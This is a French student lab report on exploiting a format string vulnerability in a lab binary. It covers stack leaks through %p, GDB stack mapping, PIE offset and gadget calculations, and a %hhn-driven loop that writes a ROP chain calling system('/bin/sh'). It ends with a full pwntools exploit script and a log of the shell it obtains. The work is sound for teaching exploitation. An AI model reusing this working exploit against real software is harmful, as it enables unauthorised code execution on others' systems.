

Exploitation des chaînes de format (Format String)

CSC_4CS03_TP - Cyberattaques : menaces et mises en œuvre

Thomas Cadegros, Yahya Moustahsane

Février 2026

Table des matières

1	Analyse préliminaire du programme	2
1.1	Test de détection de la vulnérabilité	2
1.2	Interprétation des résultats	2
1.3	Nature exacte de la vulnérabilité	3
1.4	Capacités offertes par la vulnérabilité	3
2	Extraction d'informations à l'aide d'un débogueur	3
2.1	Session de débogage et collecte de données	3
2.2	Analyse des données exfiltrées	4
2.2.1	Analyse du Mot n°16 : 0x...41414141	4
2.2.2	Analyse du Mot n°27 : 0x5555555555554f3	4
2.3	Organisation de la pile (Stack Mapping)	4
3	Calcul des distances nécessaires à la chaîne ROP	5
3.1	Identification des adresses clés via GDB	5
3.1.1	Analyse des Gadgets	5
3.2	Tableau récapitulatif des adresses	6
3.3	Calcul des Distances (Δ)	6
3.3.1	Distance vers le Gadget POP RDI	6
3.3.2	Distance vers le Gadget RET	6
3.3.3	Distance vers System	6
4	Préparation de la charge utile (Payload)	7
4.1	Placement des données	7
4.2	Stratégie d'insertion et Structure ROP	7
5	Construction de la boucle d'exploitation	7
5.1	Mécanisme de réinvoation (LSB Overwrite)	8

5.1.1	Analyse des adresses dans le <code>main</code>	8
5.2	Algorithme de la boucle d'attaque	8
6	Modification finale de l'adresse de retour et obtention du Shell	8
6.1	Stratégie de déclenchement : Le "Stack Pivot" via un Gadget RET	9
6.1.1	Justification du choix du Gadget RET	9
6.2	La technique du "LSB Overwrite"	9
6.3	Charge utile finale (Trigger)	9
6.4	Séquence d'exécution finale	10
6.5	Démonstration de l'obtention du Shell	10
7	Annexe : Script d'Exploitation Complet	11

Code Source et Ressources

Les fichiers, les scripts utilisés lors de ce TP sont disponibles sur le dépôt GitHub suivant :
<https://github.com/thomas-cad/format-string-attack>

1 Analyse préliminaire du programme

1.1 Test de détection de la vulnérabilité

Pour identifier la faille et localiser notre buffer d'entrée sur la pile, nous avons exécuté le programme en fournissant une chaîne contenant un motif reconnaissable (AAAA) suivi d'une demande d'accès direct à un index éloigné sur la pile, correspondant à notre analyse dynamique.

Nous avons utilisé le payload suivant : `AAAA %16$p` .

- `AAAA` : Motif reconnaissable (0x41414141) pour repérer notre buffer sur la pile.
- `%16$p` : Demande d'afficher directement la 16^e valeur sur la pile.

Voici le résultat de l'exécution dans notre environnement de test :

Listing 1 – Test d'injection confirmant l'offset

```

1 thomas@zephyrus:~/work/devoir2026$ ./vuln
2 Checking ping is on the system...
3 /usr/bin/ping
4 Please Insert an IP address to ping:
5 AAAA %16$p
6 AAAA 0x41414141
7 ping: AAAA: Name or service not known
```

1.2 Interprétation des résultats

L'analyse de la sortie confirme la présence de la vulnérabilité :

1. **Interprétation des formats** : Le programme n'a pas affiché la chaîne littérale "`%p %p...`". À la place, il a affiché des valeurs hexadécimales (0x5acad81676b1, 0xfbad2288, etc.).

2. **Fuite de mémoire (Exfiltration)** : Ces valeurs hexadécimales correspondent au contenu de la pile (Stack) au moment de l'appel à la fonction d'affichage.

1.3 Nature exacte de la vulnérabilité

La vulnérabilité détectée est une **Format String Vulnerability**

Justification théorique : En langage C, les fonctions d'affichage formaté comme `printf` attendent une chaîne de format suivie d'arguments optionnels. Une implémentation sécurisée devrait être :

```
1 printf("%s", user_input);
```

Ici, le comportement observé indique que l'entrée utilisateur est passée directement comme premier argument (chaîne de format) :

```
1 printf(user_input);
```

1.4 Capacités offertes par la vulnérabilité

Cette vulnérabilité offre deux vecteurs d'attaque principaux nécessaires pour la suite de l'exploitation :

- **Exfiltration de données (Lecture)** : Comme démontré par notre test, l'utilisation de `%p` (ou `%x`, `%s`) permet de lire le contenu de la pile. Cela nous permettra de contourner les protections comme l'ASLR/PIE en récupérant des adresses mémoires valides (adresses de retour, pointeurs de pile, adresse de base de la libc).
- **Modification de la mémoire (Écriture)** : Bien que non visible dans la sortie standard, la nature de la faille *Format String* permet l'utilisation du spécificateur `%n` (et ses variantes `%hn`, `%hhn`). Ce spécificateur est particulier car il n'affiche rien mais **écrit** le nombre de caractères affichés jusqu'à présent dans l'adresse pointée par l'argument correspondant sur la pile. C'est ce mécanisme qui permettra d'écraser l'adresse de retour (Saved RIP) pour rediriger le flux d'exécution vers notre chaîne ROP.

Conclusion : Le programme est vulnérable. Nous pouvons lire la pile pour calculer les offsets nécessaires et nous pouvons écrire en mémoire pour détourner le flux d'exécution.

2 Extraction d'informations à l'aide d'un débogueur

L'exploitation d'une vulnérabilité binaire, et plus particulièrement la construction d'une chaîne ROP, nécessite une cartographie précise de la mémoire. L'utilisation du débogueur **GDB** nous permet d'analyser l'état de la pile et des registres en temps réel.

2.1 Session de débogage et collecte de données

Pour déterminer l'emplacement exact de notre buffer et de l'adresse de retour, nous avons exécuté le programme vulnérable sous **GDB** en injectant un motif reconnaissable (**AAAA**) suivi de plusieurs offsets stratégiques (7, 16, 26 et 27).

Commande GDB utilisée : `run` puis injection de :

```
AAAA | Off7=%7$p | Off16=%16$p | Off26=%26$p | Off27=%27$p
```

Listing 2 – Sortie GDB montrant l'état de la pile

```
1 (gdb) run
2 Starting program: /home/thomas/work/devoir2026/vuln
3 ...
4 Checking ping is on the system...
5 /usr/bin/ping
6 Please Insert an IP address to ping:
7 AAAA | Off7=%7$p | Off16=%16$p | Off26=%26$p | Off27=%27$p
8 AAAA | Off7=0x7fffffffddcc8 | Off16=0x4f207c2041414141 | Off26=0x7fffffffddce0 |
   Off27=0x5555555554f3
9 [Detaching after vfork from child process ...]
```

2.2 Analyse des données exfiltrées

L'architecture x86_64 place les premiers arguments dans les registres. Les suivants sont sur la pile. L'analyse des valeurs retournées nous permet de situer notre entrée utilisateur.

2.2.1 Analyse du Mot n°16 : 0x...41414141

La valeur obtenue à l'offset 16 est 0x4f207c2041414141.

- **Observation** : Les 4 octets de poids faible (Little Endian) sont 0x41414141.
- **Interprétation** : Cela correspond au code ASCII de "AAAA".
- **Conclusion** : Contrairement à l'offset 7 (qui est simplement le sommet de la pile `RSP`), notre buffer d'entrée commence réellement à l'**offset 16**. C'est notre point de référence (Offset 0 de notre payload).

2.2.2 Analyse du Mot n°27 : 0x5555555554f3

La valeur obtenue est 0x5555555554f3.

- **Observation** : Il s'agit d'une adresse du segment de code (`.text`), typique d'un exécutable position-indépendant (PIE activé).
- **Identification (Saved RIP)** : Cette adresse correspond à l'**adresse de retour** vers la fonction `main`.
- **Preuve par le calcul** : Le désassemblage montre que l'appel à `makePing` se termine à l'adresse ...54ee.

$$0x54f3 - 0x5 = 0x54ee$$

L'adresse obtenue dans GDB correspond exactement à l'instruction suivant l'appel. C'est la valeur que nous devons écraser pour détourner le flux d'exécution.

2.3 Organisation de la pile (Stack Mapping)

Grâce à ces nouvelles données, nous pouvons reconstituer la cartographie exacte de la pile :

Offset printf	Leak	Contenu	Description
%7\$p	0x7fffffffddcc8	Stack Pointer	Sommet de la pile (RSP)
...	Padding et variables locales
%16\$p	0x41414141	Buffer Start	Début de notre payload
...	Données utilisateur
%26\$p	0x7fffffffddce0	Saved RBP	Pointeur de base sauvegardé
%27\$p	0x5555555554f3	Saved RIP	Adresse de retour vers main

TABLE 1 – Organisation de la pile validée par GDB

Calcul des distances critiques : Pour atteindre nos cibles depuis le début de notre buffer (Offset 16), nous devons traverser :

— **Vers Saved RBP (Offset 26) :** $26 - 16 = 10$ mots.

$$10 \times 8 \text{ octets} = \mathbf{80} \text{ octets}$$

(Correspond à la variable `dist_buffer_rbp` du script).

— **Vers Saved RIP (Offset 27) :** $27 - 16 = 11$ mots.

$$11 \times 8 \text{ octets} = \mathbf{88} \text{ octets}$$

3 Calcul des distances nécessaires à la chaîne ROP

Pour contourner la protection PIE (*Position Independent Executable*), les adresses absolues ne sont pas fiables. Nous devons calculer les **distances relatives** (offsets) entre notre point de détournement (l'adresse de retour sur la pile) et nos cibles.

3.1 Identification des adresses clés via GDB

À l'aide du débogueur, nous avons extrait les adresses suivantes lors d'une session d'exécution unique :

— **Adresse de référence (*Ref*) :** Il s'agit de l'adresse de retour sauvegardée sur la pile par la fonction `makePing`. Dans le désassemblage de `main`, c'est l'instruction suivant immédiatement l'appel :

```
1 0x00005555555554ee <+24>: call 0x5555555553b3 <makePing>
2 0x00005555555554f3 <+29>: mov $0x0,%eax <-- ADRESSE REF
```

— **Adresse de System (*System*) :** L'entrée de la fonction dans la PLT.

— **Adresse du Gadget (*Gadget_{POP}*) :** Nous avons identifié un "Universal Gadget" dans la fonction `__libc_csu_init`.

— **Adresse du Gadget RET (*Gadget_{RET}*) :** Nécessaire pour le déclenchement final de la chaîne (Trigger). Nous utilisons l'instruction `ret` présente à la fin de la fonction `main`.

3.1.1 Analyse des Gadgets

Gadget "POP RDI" : En l'absence d'instruction `pop rdi` explicite, nous exploitons la séquence de nettoyage de la fonction standard `__libc_csu_init`. L'instruction `pop r15` qui s'y

trouve (à l'adresse $0x\dots5562$) est encodée par les octets `41 5f c3`. En ciblant l'exécution un octet plus loin (à $0x\dots5563$), nous forçons le processeur à ignorer le préfixe `41` et à interpréter le reste (`5f c3`) comme l'instruction `pop rdi ; ret`, créant ainsi le gadget nécessaire artificiellement.

$$Adresse_{POP} = 0x555555555562 + 1 = \mathbf{0x555555555563}$$

Gadget "RET" : Le désassemblage de la fonction `main` montre une instruction `ret` à l'offset `+35`.

```
1 0x00005555555554f8 <+34>: leave
2 0x00005555555554f9 <+35>: ret <-- GADGET RET
```

$$Adresse_{RET} = \mathbf{0x5555555554f9}$$

3.2 Tableau récapitulatif des adresses

Élément	Description	Adresse (Hex)
Référence (<i>Ref</i>)	Adresse de retour (dans <code>main</code>)	$0x5555555554f3$
Cible 1 (<i>Gadget_{POP}</i>)	<code>pop rdi ; ret</code> (<code>csu_init</code>)	$0x555555555563$
Cible 2 (<i>System</i>)	<code>system@plt</code>	$0x5555555555100$
Cible 3 (<i>Gadget_{RET}</i>)	<code>ret</code> (fin de <code>main</code>)	$0x5555555554f9$

TABLE 2 – Adresses relevées sous GDB

3.3 Calcul des Distances (Δ)

Nous calculons la distance Δ à appliquer à l'adresse de retour (*Ref*) pour atteindre les cibles.

3.3.1 Distance vers le Gadget POP RDI

$$\Delta_{POP} = Gadget_{POP} - Ref$$

$$\Delta_{POP} = 0x555555555563 - 0x5555555554f3 = \mathbf{+0x70}$$

Interprétation : Le gadget se trouve exactement 112 octets après l'adresse de retour.

3.3.2 Distance vers le Gadget RET

$$\Delta_{RET} = Gadget_{RET} - Ref$$

$$\Delta_{RET} = 0x5555555554f9 - 0x5555555554f3 = \mathbf{+0x6}$$

Interprétation : L'instruction `ret` du `main` se situe seulement 6 octets après notre point de référence. C'est l'adresse que nous utiliserons lors de la dernière étape (Trigger) pour sauter vers notre ROP chain.

3.3.3 Distance vers System

$$\Delta_{System} = System - Ref$$

$$\Delta_{System} = 0x5555555555100 - 0x5555555554f3 = \mathbf{-0x3F3}$$

Interprétation : La fonction `system` se situe 1011 octets avant l'adresse de retour. Ce décalage constant est utilisé pour calculer l'adresse réelle de `system` à l'exécution.

4 Préparation de la charge utile (Payload)

L'exploitation repose sur la construction d'une chaîne ROP (Return-Oriented Programming) directement sur la pile. Puisque nous exploitons une vulnérabilité de format string avec une taille de buffer limitée, nous ne pouvons pas écrire toute la chaîne en une seule fois.

Nous utilisons la boucle d'exploitation (créée en modifiant le LSB du Saved RIP à l'adresse RBP+8) pour écrire la chaîne ROP élément par élément dans les adresses supérieures.

4.1 Placement des données

Pour obtenir un shell, nous devons appeler la fonction `system("/bin/sh")`. Selon la convention d'appel x86_64, le premier argument doit être placé dans le registre RDI. Le registre RDI devra donc contenir l'adresse mémoire (pointeur) vers la chaîne `"/bin/sh"`.

Zone de stockage de la chaîne : Nous choisissons de stocker la chaîne `"/bin/sh"` à l'adresse RBP + 40. Cet emplacement est suffisamment éloigné pour ne pas interférer avec l'exécution du Gadget et de System.

Encodage Little Endian : La chaîne `/bin/sh\0` est convertie en entier 64 bits inversé : `0x0068732f6e69622f`.

4.2 Stratégie d'insertion et Structure ROP

La chaîne ROP finale est construite à partir de l'offset RBP + 16, juste après l'adresse de retour utilisée pour la boucle.

Offset Pile	Adresse Python	Contenu	Rôle
RBP + 8	<code>addr_rip</code>	<code>...EE</code>	Maintien de la boucle
RBP + 16	<code>addr_rbp + 16</code>	Gadget POP RDI	Charge RDI avec la valeur suivante
RBP + 24	<code>addr_rbp + 24</code>	Adresse Chaîne	Argument (Pointeur vers RBP+40)
RBP + 32	<code>addr_rbp + 32</code>	Adresse System	Appel de <code>system()</code>
RBP + 40	<code>addr_rbp + 40</code>	<code>/bin/sh...</code>	Données brutes

TABLE 3 – Organisation de la ROP Chain en mémoire

Justification de l'ordre d'écriture : Le script Python itère sur ce dictionnaire et écrit chaque élément (découpé en blocs de 32 bits) tout en réécrivant systématiquement `0xEE` à l'adresse `addr_rip` pour maintenir le programme en vie.

Une fois tous les éléments en place (Gadget, Pointeur, System, Chaîne), la dernière étape consiste à écraser le Saved RIP (`addr_rip`) non plus avec `0xEE`, mais avec l'adresse d'un petit gadget RET (`addr_ret`). Cela aura pour effet de "glisser" vers l'instruction suivante sur la pile (RBP + 16), déclenchant ainsi notre chaîne ROP.

5 Construction de la boucle d'exploitation

L'exploitation complète nécessite l'écriture de quatre éléments distincts sur la pile (Gadget, Pointeur, Fonction System, Chaîne brute). Le buffer d'entrée étant trop petit pour tout écrire en une fois, nous utilisons une **boucle d'exploitation**.

Cette technique consiste à forcer le programme à ré-exécuter la fonction vulnérable `makePing` indéfiniment tant que notre charge utile n'est pas complète, en modifiant l'adresse de retour à chaque itération.

5.1 Mécanisme de réinvoation (LSB Overwrite)

Normalement, l’instruction `ret` de `makePing` utilise l’adresse de retour (Saved RIP) pour revenir au `main`. Pour relancer `makePing`, nous modifions l’octet de poids faible (LSB) de cette adresse pour qu’elle pointe vers l’instruction `call` précédente.

5.1.1 Analyse des adresses dans le main

Listing 3 – Adresses autour de l’appel `makePing`

```
1 0x00005555555554ee <+24>: call 0x5555555553b3 <makePing>
2 0x00005555555554f3 <+29>: mov $0x0,%eax <-- Saved RIP actuel
```

— Adresse actuelle : ...54f3.

— Adresse cible (Boucle) : ...54ee.

La différence ne réside que dans le dernier octet. En remplaçant `0xf3` par `0xee` via le spécificateur `%hhn`, nous forçons le programme à sauter sur l’instruction `call`, relançant ainsi la fonction vulnérable.

5.2 Algorithme de la boucle d’attaque

Le script d’exploitation itère sur les éléments de la ROP chain pour les écrire en mémoire 32 bits par 32 bits (MSB/LSB).

1. **Phase d’écriture (Boucle active)** : Pour chaque adresse de la ROP chain (RBP+16, RBP+24, etc.) :
 - Nous envoyons un payload qui écrit 4 octets de données à l’adresse cible.
 - Dans le **même payload**, nous écrivons la valeur `0xee` sur le LSB du Saved RIP (RBP+8).
 - **Résultat** : La donnée est écrite, et la fonction redémarre au lieu de quitter.
2. **Phase de déclenchement (Trigger)** : Une fois la chaîne ROP complète (Gadget, Argument, System, Chaîne) écrite aux adresses supérieures, il faut briser la boucle.
 - Nous envoyons un dernier payload.
 - Cette fois, nous n’écrivons pas `0xee` (adresse du `call`), mais `0xf9` (adresse du gadget `ret` situé à la fin du `main`).
 - **Résultat** : Au retour de `makePing`, le processeur saute sur le `ret` du `main`. Ce `ret` dépile la valeur suivante sur la pile (située à RBP+16), qui est notre gadget POP RDI. La chaîne ROP s’exécute.

6 Modification finale de l’adresse de retour et obtention du Shell

La dernière étape de l’exploitation consiste à briser la boucle de réinvoation pour rediriger le flux d’exécution vers notre chaîne ROP, que nous avons méticuleusement inscrite sur la pile lors des étapes précédentes.

6.1 Stratégie de déclenchement : Le "Stack Pivot" via un Gadget RET

Contrairement aux itérations précédentes où nous écrasions le LSB de l'adresse de retour avec `0xee` pour viser l'instruction `call`, nous ciblons cette fois un gadget `ret` situé à la toute fin de la fonction `main`.

6.1.1 Justification du choix du Gadget RET

D'après l'analyse dynamique et les logs du script :

- L'adresse de retour originale (Saved RIP) se termine par `0xf3`.
- Le gadget `ret` identifié dans le `main` se termine par `0xf9`.

L'utilisation de ce gadget intermédiaire est indispensable pour deux raisons :

1. **Alignement de la pile (Stack Alignment)** : L'architecture `x86_64` impose que la pile soit alignée sur 16 octets lors de l'appel à certaines fonctions de la `GLIBC`.
2. **Mécanisme de "Glissement"** : Le gadget `ret` effectue l'opération `pop rip`. Il va donc dépiler la valeur suivante sur la pile et sauter dessus. Or, nous avons écrit le début de notre chaîne ROP (le gadget `pop rdi`) juste au-dessus de l'adresse de retour à `RBP+16`.

6.2 La technique du "LSB Overwrite"

Pour effectuer cette redirection, nous utilisons une modification partielle de l'adresse de retour.

Contrainte PIE (Position Independent Executable) : Le programme étant compilé avec PIE, l'adresse complète des instructions change à chaque exécution (ASLR). Cependant, la mémoire est gérée par pages de 4 Ko ($2^{12} = 4096$ octets). Cela implique que les 12 bits de poids faible (les 3 derniers chiffres hexadécimaux) restent constants relativement au début de la page.

Dans notre cas d'exécution :

- Adresse Saved RIP actuelle : `0x5f51361d14f3`
- Adresse Gadget RET cible : `0x5f51361d14f9`

La différence ne réside que dans le dernier octet. Il est donc inutile de connaître l'adresse de base aléatoire. Il suffit d'écraser le dernier octet `0xf3` par `0xf9`.

6.3 Charge utile finale (Trigger)

Le payload final est construit dynamiquement par le script avec la f-string suivante :

```
payload = f"%{addr_ret_lsb}c%7$hhn"
```

où `addr_ret_lsb` est calculé comme `addr_ret & 0xff`.

- `%{addr_ret_lsb}c` : Le script calcule `addr_ret & 0xff` pour extraire le LSB de l'adresse du gadget RET. Dans notre exemple d'exécution, cela donne `0xf9` (soit 249 en décimal). La fonction `printf` affiche donc ce nombre de caractères de bourrage pour ajuster son compteur interne.
- `%7$` : Nous sélectionnons le 7^e argument sur la pile, qui correspond au pointeur vers le Saved RIP (identifié en section 2).

- **hhn** : Le spécificateur **n** écrit le nombre de caractères affichés à l'adresse pointée. Le modificateur **hh** assure que l'écriture se fait sur **un seul octet**.

6.4 Séquence d'exécution finale

Au moment où le dernier `printf` s'exécute, voici l'enchaînement qui mène au shell :

1. **Écriture** : Le LSB du Saved RIP passe de `0xf3` à `0xf9`.
2. **Retour de makePing** : L'instruction `ret` finale de `makePing` dépile `0x...14f9` et saute dessus.
3. **Gadget RET** : Le processeur exécute le `ret` du `main`. Il dépile la valeur suivante (située à `RBP+16`).
4. **Chaîne ROP** : La valeur dépilée est l'adresse de `pop rdi ; ret` (`0x...1563`).
5. **Chargement Argument** : `RDI` est chargé avec l'adresse de la chaîne `"/bin/sh"` (`0x...57e8`).
6. **Appel Système** : L'instruction suivante est l'adresse de `system()` (`0x...1100`). Le shell s'ouvre.

6.5 Démonstration de l'obtention du Shell

L'exécution du script d'exploitation confirme le succès de l'attaque. Comme le montre la sortie ci-dessous, après l'envoi du payload final (valeur cible `0xf9`), nous obtenons un shell interactif nous permettant d'exécuter des commandes arbitraires.

Listing 4 – Log d'exécution finale et obtention du shell

```
1  [*] === Etape 3 : Ecriture de la chaine ROP ===
2  ...
3  [*] Ecriture de 0x5f51 a l'adresse 0x7ffc71bc57e4
4  [*] Ecriture de 0x6e69622f a l'adresse 0x7ffc71bc57e8
5  [*] Ecriture de 0x68732f a l'adresse 0x7ffc71bc57ec
6  [*] Payload pour écraser l'adresse de retour avec le gadget RET envoye (Valeur
   cible: 0xf9)
7  [*] Switching to interactive mode
8
9  ping: %249c%7: Name or service not known
10 $ echo "Hello World !"
11 Hello World !
12 $ echo "TP termine"
13 TP termine
```

L'accès shell est confirmé, l'exploitation est réussie.

7 Annexe : Script d'Exploitation Complet

Listing 5 – Script final d'exploitation (exploit.py)

```
1  #!/usr/bin/python3
2  from pwn import *
3  import re
4
5  #####
6  # CONFIGURATION
7  #####
8  prog = "./vuln"
9  context.arch = 'amd64'
10 context.log_level = 'info'
11
12 # On lance le processus via pwntools
13 p = process(prog)
14
15 # Offsets
16 OFFSET_BUFFER = 16
17 DIST_BUFFER_RBP = 80
18 DIST_SAVEDRBP_RBP = 0x20
19 DIST_SAVEDRIP_GADGET = -0x70
20 DIST_SAVEDRIP_SYSTEM = 0x3F3
21 DIST_SAVEDRIP_RET = -0x6
22
23 #####
24 # ETAPE 1 : Leak des adresses
25 #####
26 log.info("=== Etape 1 : Leak des adresses ===")
27
28 # On attend de devoir rentrer le ping
29 p.recvuntil(b"address to ping:")
30
31 # Payload a injecter pour le leak
32 ## Affiche le 26eme mot (Saved RBP) sur 16 caracteres fixes.
33 ## Affiche le 27eme mot (Saved RIP) sur 16 caracteres fixes.
34 ## Affiche 1 char de donnee + 202 espaces de remplissage.
35 ## Ecrit la valeur du total (0xEE) a l'adresse pointee par l'arg 7.
36 payload = "%26$16p | %27$16p%203c%7$hhn"
37 p.sendline(payload.encode())
38
39 # Parsing de la reponse pour extraire les adresses
40 raw_response = p.recvuntil(b"ping").decode(errors='ignore')
41 leaks = re.findall(r"(0x[0-9a-fA-F]+)", raw_response) # On utilise une Regex pour
    trouver UNIQUEMENT les motifs "0x..."
42 saved_rbp = int(leaks[0], 16) # Saved RBP
43 saved_rip = int(leaks[1], 16) # Saved RIP
44
45 log.success(f"Saved RBP: {hex(saved_rbp)}")
46 log.success(f"Saved RIP: {hex(saved_rip)}")
47
48 #####
49 # ETAPE 2 : Calcul des adresses
50 #####
51 log.info("=== Etape 2 : Calcul des adresses ===")
52
53 # Calculs des adresses
54 addr_rbp = saved_rbp - DIST_SAVEDRBP_RBP
```

```

55 addr_ret =saved_rip -DIST_SAVEDRIP_RET
56 addr_system =saved_rip -DIST_SAVEDRIP_SYSTEM
57 addr_gadget =saved_rip -DIST_SAVEDRIP_GADGET
58 addr_str =addr_rbp + 40
59 addr_rip =addr_rbp + 8
60
61 log.info(f"Adresse de system(): {hex(addr_system)}")
62 log.info(f"Adresse du gadget POP RDI; RET: {hex(addr_gadget)}")
63 log.info(f"Adresse de la chaine '/bin/sh': {hex(addr_str)}")
64 log.info(f"Adresse de retour (pour ecraser): {hex(addr_rip)}")
65 log.info(f"Adresse du gadget RET (pour alignement): {hex(addr_ret)}")
66
67 # Definition de la chaine ROP
68 rop_chain ={
69     addr_rbp + 16 : addr_gadget, # adresse pop rdi; ret
70     addr_rbp + 24 : addr_str, # adresse chaine
71     addr_rbp + 32 : addr_system, # adresse de sytem
72     addr_rbp + 40 : u64(b'/bin/sh\x00'), # chaine
73 }
74
75 #####
76 # ETAPE 3 : Ecriture de la chaine ROP
77 #####
78 log.info("== Etape 3 : Ecriture de la chaine ROP ==")
79
80 # Ecriture de la chaine ROP
81 for addr, value in rop_chain.items():
82
83     # Liste de tuples contenant (Adresse Cible, Valeur a ecrire)
84     ## Les 4 octets de poids faible a l'adresse 'addr'
85     ## Les 4 octets de poids fort a l'adresse 'addr + 4'
86     mask32 =(1 << 32) -1
87     writes_sequence =[
88         (addr, value & mask32),
89         (addr + 4, (value >> 32) & mask32),
90     ]
91
92     for target_addr, part_value in writes_sequence:
93         p.recvuntil(b"Please Insert an IP address to ping: ")
94
95         current_writes ={
96             target_addr: part_value, # La partie de la ROP chain
97             addr_rip: 0xee # Le maintien de la boucle
98         }
99
100         payload =fmtstr_payload(
101             offset=OFFSET_BUFFER,
102             writes=current_writes,
103             write_size='short'
104         )
105
106         p.sendline(payload)
107         log.info(f"Ecriture de {hex(part_value)} a l'adresse {hex(target_addr)}")
108
109 #
110 #####
111 # ETAPE 4 : Ecriture de la chaine ROP pour executer system("/bin/sh")

```

```

111 #
112 #####
113 # On ne veut que les deux derniers octets de l'adresse de retour
114 addr_ret_lsb =addr_ret & 0xff
115
116 # Payload pour ecraser l'adresse de retour avec le gadget RET
117 ## addr_ret_lsb : Valeur cible a ecrire
118 ## c : bourage
119 ## %7$ : Specifie que l'adresse cible est le 7eme argument de la fonction d'
    affichage
120 ## hhn : ecriture d'un octet a l'adresse pointee par l'argument 7
121 payload =f"%{addr_ret_lsb}c%7$hhn"
122 p.recvuntil("Please Insert an IP address to ping: ".encode())
123 p.sendline(payload.encode())
124 log.info(f"Payload pour ecraser l'adresse de retour avec le gadget RET envoye (
    Valeur cible: {hex(addr_ret_lsb)}")
125
126 p.interactive()

```